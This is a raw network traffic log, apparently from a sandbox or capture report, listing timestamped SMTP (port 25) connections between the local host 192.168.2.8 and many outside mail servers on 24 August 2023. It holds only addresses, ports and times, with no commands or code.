Aug 24, 2023 19:03:43.384172916 CEST	25	50158	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.385649920 CEST	25	50191	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.385775089 CEST	50191	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.397254944 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.397413015 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.401434898 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.411377907 CEST	25	50201	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.412420988 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.416595936 CEST	50218	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:43.417846918 CEST	25	50207	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.418958902 CEST	25	50207	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.419183969 CEST	50207	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:43.419984102 CEST	25	50207	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.420066118 CEST	50207	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:43.425800085 CEST	25	50216	104.47.12.33	192.168.2.8
Aug 24, 2023 19:03:43.426223040 CEST	50216	25	192.168.2.8	104.47.12.33
Aug 24, 2023 19:03:43.428986073 CEST	25	50206	148.163.150.20	192.168.2.8
Aug 24, 2023 19:03:43.429264069 CEST	50206	25	192.168.2.8	148.163.150.20
Aug 24, 2023 19:03:43.436336994 CEST	50219	25	192.168.2.8	104.47.11.202
Aug 24, 2023 19:03:43.451317072 CEST	25	50160	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.453054905 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:43.462112904 CEST	25	50203	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.462233067 CEST	25	50203	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.462336063 CEST	50203	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:43.462758064 CEST	25	50219	104.47.11.202	192.168.2.8
Aug 24, 2023 19:03:43.462883949 CEST	50219	25	192.168.2.8	104.47.11.202
Aug 24, 2023 19:03:43.470184088 CEST	25	50212	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:43.470909119 CEST	25	50216	104.47.12.33	192.168.2.8
Aug 24, 2023 19:03:43.470957994 CEST	25	50212	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:43.471142054 CEST	50212	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:43.471893072 CEST	25	50216	104.47.12.33	192.168.2.8
Aug 24, 2023 19:03:43.472126007 CEST	50216	25	192.168.2.8	104.47.12.33
Aug 24, 2023 19:03:43.475431919 CEST	25	50209	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:43.475509882 CEST	25	50209	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:43.475548029 CEST	25	50204	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:43.476361036 CEST	50209	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:43.482913017 CEST	25	50215	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.483119011 CEST	50215	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:43.488265991 CEST	25	50208	8.19.118.174	192.168.2.8
Aug 24, 2023 19:03:43.488507986 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:43.491308928 CEST	25	50219	104.47.11.202	192.168.2.8
Aug 24, 2023 19:03:43.494539022 CEST	50219	25	192.168.2.8	104.47.11.202
Aug 24, 2023 19:03:43.516896963 CEST	25	50216	104.47.12.33	192.168.2.8
Aug 24, 2023 19:03:43.518100023 CEST	25	50216	104.47.12.33	192.168.2.8
Aug 24, 2023 19:03:43.518647909 CEST	50216	25	192.168.2.8	104.47.12.33
Aug 24, 2023 19:03:43.519139051 CEST	25	50216	104.47.12.33	192.168.2.8
Aug 24, 2023 19:03:43.519468069 CEST	50216	25	192.168.2.8	104.47.12.33
Aug 24, 2023 19:03:43.521620035 CEST	25	50219	104.47.11.202	192.168.2.8
Aug 24, 2023 19:03:43.541265011 CEST	25	50186	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.549211025 CEST	25	50214	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.550642967 CEST	25	50158	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.563429117 CEST	25	50216	104.47.12.33	192.168.2.8
Aug 24, 2023 19:03:43.566658020 CEST	50219	25	192.168.2.8	104.47.11.202
Aug 24, 2023 19:03:43.566956043 CEST	50214	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:43.569413900 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:43.569526911 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:43.574233055 CEST	50221	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:43.589847088 CEST	25	50207	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.590023994 CEST	25	50218	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:43.590197086 CEST	50218	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:43.594089985 CEST	25	50219	104.47.11.202	192.168.2.8
Aug 24, 2023 19:03:43.594331980 CEST	50219	25	192.168.2.8	104.47.11.202
Aug 24, 2023 19:03:43.599555016 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.600013971 CEST	25	50189	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.603874922 CEST	25	50212	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:43.604835987 CEST	25	50212	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:43.605035067 CEST	50212	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:43.605926037 CEST	25	50212	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:43.606084108 CEST	50212	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:43.606635094 CEST	25	50206	148.163.150.20	192.168.2.8
Aug 24, 2023 19:03:43.606908083 CEST	50206	25	192.168.2.8	148.163.150.20
Aug 24, 2023 19:03:43.614856958 CEST	25	50160	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.619000912 CEST	50222	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:43.628401995 CEST	25	50208	8.19.118.174	192.168.2.8
Aug 24, 2023 19:03:43.633104086 CEST	25	50219	104.47.11.202	192.168.2.8
Aug 24, 2023 19:03:43.633405924 CEST	50219	25	192.168.2.8	104.47.11.202
Aug 24, 2023 19:03:43.639386892 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.646517992 CEST	25	50209	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:43.646776915 CEST	50209	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:43.653132915 CEST	25	50215	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.654266119 CEST	50215	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:43.659811974 CEST	25	50219	104.47.11.202	192.168.2.8
Aug 24, 2023 19:03:43.661497116 CEST	25	50219	104.47.11.202	192.168.2.8
Aug 24, 2023 19:03:43.661617994 CEST	50219	25	192.168.2.8	104.47.11.202
Aug 24, 2023 19:03:43.662034988 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.672271013 CEST	50223	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:43.677669048 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:43.683621883 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.693844080 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:43.694636106 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:43.695350885 CEST	25	50214	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.695594072 CEST	25	50214	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.695735931 CEST	50214	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:43.703998089 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.704108953 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.710815907 CEST	25	50186	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.710980892 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.720874071 CEST	25	50191	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.730720043 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.730865002 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.739180088 CEST	25	50212	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:43.744406939 CEST	25	50222	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:43.744571924 CEST	50222	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:43.744724035 CEST	25	50210	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:43.744884014 CEST	50210	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:43.760442019 CEST	50225	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:43.760917902 CEST	25	50221	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:43.761034966 CEST	50221	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:43.761663914 CEST	25	50102	192.185.46.31	192.168.2.8
Aug 24, 2023 19:03:43.762078047 CEST	50102	25	192.168.2.8	192.185.46.31
Aug 24, 2023 19:03:43.763889074 CEST	25	50189	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.764070034 CEST	50189	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.777435064 CEST	50226	25	192.168.2.8	52.101.42.10
Aug 24, 2023 19:03:43.779539108 CEST	25	50206	148.163.150.20	192.168.2.8
Aug 24, 2023 19:03:43.779572964 CEST	25	50206	148.163.150.20	192.168.2.8
Aug 24, 2023 19:03:43.779628038 CEST	50206	25	192.168.2.8	148.163.150.20
Aug 24, 2023 19:03:43.779670000 CEST	50206	25	192.168.2.8	148.163.150.20
Aug 24, 2023 19:03:43.799408913 CEST	25	50223	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.799556971 CEST	50223	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:43.811111927 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:43.813287973 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:43.813416958 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:43.817032099 CEST	25	50209	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:43.817150116 CEST	50209	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:43.822038889 CEST	25	50215	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.822942972 CEST	25	50215	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.823113918 CEST	50215	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:43.824026108 CEST	25	50214	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.824124098 CEST	25	50214	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.824240923 CEST	50214	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:43.828094959 CEST	25	50218	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:43.828216076 CEST	50218	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:43.830347061 CEST	50227	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:43.831624031 CEST	50228	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:43.870999098 CEST	25	50222	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:43.885538101 CEST	25	50191	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.893202066 CEST	25	50225	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:43.893410921 CEST	50225	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:43.894465923 CEST	25	50102	192.185.46.31	192.168.2.8
Aug 24, 2023 19:03:43.896713972 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:43.912075996 CEST	50222	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:43.927694082 CEST	50191	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.935652971 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:43.943341970 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:43.943404913 CEST	50102	25	192.168.2.8	192.185.46.31
Aug 24, 2023 19:03:43.948067904 CEST	25	50226	52.101.42.10	192.168.2.8
Aug 24, 2023 19:03:43.948566914 CEST	50226	25	192.168.2.8	52.101.42.10
Aug 24, 2023 19:03:43.954787970 CEST	25	50214	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.955001116 CEST	25	50214	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.955126047 CEST	50214	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:43.956024885 CEST	25	50228	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:43.956154108 CEST	50228	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:43.979147911 CEST	25	50223	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:43.990226030 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:43.993403912 CEST	25	50215	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.994616985 CEST	25	50215	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.995599031 CEST	25	50215	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:43.996246099 CEST	50215	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:44.001317024 CEST	25	50218	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:44.001362085 CEST	25	50218	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:44.004525900 CEST	25	50227	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:44.004803896 CEST	50227	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:44.011197090 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.011426926 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.021475077 CEST	50223	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.026667118 CEST	25	50210	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.027570963 CEST	25	50225	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:44.035904884 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.036070108 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.043639898 CEST	25	50186	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.045635939 CEST	25	50108	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:44.052762032 CEST	50218	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:44.068348885 CEST	50225	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:44.081897020 CEST	25	50228	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.093252897 CEST	25	50189	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.099596977 CEST	50108	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:44.117682934 CEST	25	50226	52.101.42.10	192.168.2.8
Aug 24, 2023 19:03:44.130844116 CEST	50228	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.148957968 CEST	25	50210	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.162094116 CEST	50226	25	192.168.2.8	52.101.42.10
Aug 24, 2023 19:03:44.193377018 CEST	50168	25	192.168.2.8	62.24.139.42
Aug 24, 2023 19:03:44.193382025 CEST	50210	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.219233990 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.227380037 CEST	50222	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.227380991 CEST	50191	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.227436066 CEST	50225	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:44.227484941 CEST	50102	25	192.168.2.8	192.185.46.31
Aug 24, 2023 19:03:44.228084087 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.228108883 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:44.228141069 CEST	50226	25	192.168.2.8	52.101.42.10
Aug 24, 2023 19:03:44.228187084 CEST	50228	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.228231907 CEST	50223	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.228264093 CEST	50215	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:44.228492975 CEST	50218	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:44.228847027 CEST	50108	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:44.228889942 CEST	50210	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.228944063 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.230214119 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.230214119 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.230258942 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.230271101 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.230305910 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.230345964 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.230386972 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.230418921 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.230741024 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.231115103 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.231242895 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.231887102 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.231925011 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.231960058 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.231996059 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.232033968 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.232079029 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.232111931 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.232187986 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.232187986 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.232469082 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.232649088 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.251827002 CEST	50229	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.268204927 CEST	25	50186	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.268352985 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.303337097 CEST	50230	25	192.168.2.8	209.222.82.255
Aug 24, 2023 19:03:44.303677082 CEST	25	50221	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:44.303746939 CEST	25	50221	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:44.303915024 CEST	50221	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:44.303915024 CEST	50221	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:44.319327116 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.319432020 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.332494020 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:44.341223955 CEST	25	50108	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:44.351140976 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:44.351361990 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:44.354701996 CEST	25	50228	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.354846001 CEST	25	50222	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.354928017 CEST	50228	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.354975939 CEST	50222	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.356564045 CEST	25	50223	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.356601000 CEST	25	50223	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.356751919 CEST	50223	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.357588053 CEST	25	50102	192.185.46.31	192.168.2.8
Aug 24, 2023 19:03:44.357728958 CEST	50102	25	192.168.2.8	192.185.46.31
Aug 24, 2023 19:03:44.360055923 CEST	25	50225	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:44.360907078 CEST	25	50225	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:44.361618042 CEST	50225	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:44.366398096 CEST	25	50189	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.366543055 CEST	50189	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.378865004 CEST	25	50229	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.379116058 CEST	50229	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.396709919 CEST	25	50215	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:44.396784067 CEST	25	50226	52.101.42.10	192.168.2.8
Aug 24, 2023 19:03:44.396998882 CEST	50226	25	192.168.2.8	52.101.42.10
Aug 24, 2023 19:03:44.401520014 CEST	25	50218	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:44.401735067 CEST	50218	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:44.412779093 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412779093 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412779093 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412853956 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412853956 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412853956 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412882090 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412894964 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412909031 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412950993 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.412950993 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.429533958 CEST	25	50230	209.222.82.255	192.168.2.8
Aug 24, 2023 19:03:44.429730892 CEST	50230	25	192.168.2.8	209.222.82.255
Aug 24, 2023 19:03:44.434194088 CEST	50232	25	192.168.2.8	104.47.73.138
Aug 24, 2023 19:03:44.451910973 CEST	50233	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:44.474459887 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:44.474654913 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:44.479834080 CEST	25	50228	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.480046034 CEST	50228	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.481210947 CEST	25	50222	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.481338024 CEST	50222	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.483325005 CEST	25	50223	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.483599901 CEST	25	50223	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.483711004 CEST	50223	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.489025116 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:44.489995956 CEST	25	50221	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:44.494111061 CEST	25	50225	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:44.495327950 CEST	25	50225	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:44.495496035 CEST	50225	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:44.496404886 CEST	25	50225	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:44.496480942 CEST	50225	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:44.504333019 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.504508972 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.507894039 CEST	25	50229	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.510545015 CEST	25	50210	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.528539896 CEST	25	50102	192.185.46.31	192.168.2.8
Aug 24, 2023 19:03:44.537122011 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:44.542268038 CEST	50229	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.556689024 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.557849884 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.557877064 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.557893991 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.557914019 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.557934046 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.557985067 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.558005095 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.558023930 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.558183908 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.558568954 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.558971882 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559264898 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559326887 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559367895 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559413910 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559432983 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559449911 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559489965 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559509039 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559530020 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559541941 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559822083 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.559952021 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.561187029 CEST	25	50191	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.565581083 CEST	25	50233	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:44.565615892 CEST	25	50226	52.101.42.10	192.168.2.8
Aug 24, 2023 19:03:44.565782070 CEST	50233	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:44.575033903 CEST	25	50218	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:44.575228930 CEST	50218	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:44.601207972 CEST	50226	25	192.168.2.8	52.101.42.10
Aug 24, 2023 19:03:44.601219893 CEST	25	50186	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.605293989 CEST	25	50228	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.607248068 CEST	25	50222	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.608043909 CEST	25	50232	104.47.73.138	192.168.2.8
Aug 24, 2023 19:03:44.608174086 CEST	50232	25	192.168.2.8	104.47.73.138
Aug 24, 2023 19:03:44.610340118 CEST	25	50223	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.610543013 CEST	25	50223	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.610620022 CEST	50223	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.611628056 CEST	50228	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.611891031 CEST	50222	25	192.168.2.8	104.47.75.228
